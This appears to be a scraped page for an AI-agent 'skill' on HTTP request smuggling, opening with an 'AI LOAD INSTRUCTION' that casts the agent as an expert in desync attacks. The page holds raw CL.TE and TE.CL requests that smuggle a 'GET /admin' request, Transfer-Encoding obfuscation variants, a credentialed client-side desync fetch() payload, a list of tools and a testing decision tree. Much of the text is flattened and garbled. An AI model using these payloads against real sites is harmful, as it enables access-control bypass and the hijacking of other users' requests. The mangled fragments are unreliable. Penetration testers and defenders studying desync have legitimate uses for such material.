Loading...
Loading...
HTTP request smuggling and desynchronization testing. Use when front proxies, CDNs, or load balancers disagree with the origin on message framing (Content-Length vs Transfer-Encoding), on HTTP/2→HTTP/1 translation, or when exploring client-side desync via browser fetch pipelines.
npx skill4agent add yaklang/hack-skills request-smugglingAI LOAD INSTRUCTION: Expert HTTP desync techniques. Covers CL.TE, TE.CL, TE.TE obfuscation variants, HTTP/2 downgrade and pseudo-header confusion, client-side desync (browserpipelines), and tool-assisted fuzzing. Assumes familiarity with raw HTTP/1.1 framing and reverse-proxy topologies. This is not “header injection” — it is message boundary disagreement between hops.fetch
Content-LengthTransfer-Encoding: chunkedPOST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDContent-Length: 130\r\n\r\nSMUGGLED0SMUGGLEDContent-Length4\r\n35POST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
Client Front (proxy/WAF) Back (origin)
| | |
|==== Request A+B ===>| |
| | parses boundary #1 | parses boundary #2
| | \ | /
| | different split points
| | |
v v v
Request A (seen) Request A' + smuggled BContent-LengthchunkedContent-LengthTransfer-Encoding: chunkedContent-Length: 13Transfer-Encoding: chunked0\r\n\r\nSMUGGLED0\r\n\r\nSMUGGLED0\r\n\r\nSMUGGLEDMETHOD SPTransfer-EncodingContent-LengthContent-Length: 435\r\nPOST / HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
35
GET /admin HTTP/1.1
Host: target.example
Foo: x
0
35\r\nGET /admin...POSTContent-Length: 11x=1760x76Content-Length: 4Transfer-Encoding\tTransfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunked
Transfer-Encoding: chunkedTransfer-Encoding: xTransfer-Encoding:[TAB]chunked[TAB]\x09 Transfer-Encoding: chunkedX: X
Transfer-Encoding: chunkedXTransfer-Encoding\n\r\nXTransfer-EncodingTransfer-Encoding
: chunkedTransfer-Encoding: chunkedchunkedConnectionheader ignored\r\n\r\nGET / HTTP/1.1\r\nHost: targetGET / HTTP/1.1\r\n\r\nTransfer-EncodingContent-Length:method:pathno-corsGETno-corsfetch("https://target.example/vulnerable", {
method: "POST",
mode: "no-cors",
credentials: "include",
body: "GET /admin HTTP/1.1\r\nHost: target.example\r\n\r\n"
});| Tool | Purpose |
|---|---|
| Burp Suite — HTTP Request Smuggler (BApp Store) | Automated desync detection, common variants, time difference detection |
| defparam/smuggler (GitHub) | Python script for batch generating/sending smuggling probes |
| dhmosfunk/simple-http-smuggler-generator (GitHub) | Quickly assemble raw message templates such as CL.TE / TE.CL |
Start: reverse proxy / CDN in path?
|
NO -------------+------------- YES
| |
Low classic smuggling |
(still test H2 desync) v
Can you send TE + CL together?
|
NO -------------------+------------------- YES
| |
Test H2-only issues Front prefers which?
(pseudo-header, reset) |
+-------------------------------+-------------------------------+
| | |
CL wins TE wins errors /
| | connection
v v |
CL.TE probes TE.CL probes TE.TE obfuscation
(Sec 0,2) (Sec 0,3) (Sec 4)
| | |
v v v
Time / content / Adjust chunk Pairwise matrix:
queue poisoning sizes + CL which hop accepts
signals? alignment which variant?
| | |
+-------------------------------+-------------------------------+
|
v
Confirm with second request
smuggled (replay-safe)
or Collaborator-style side signal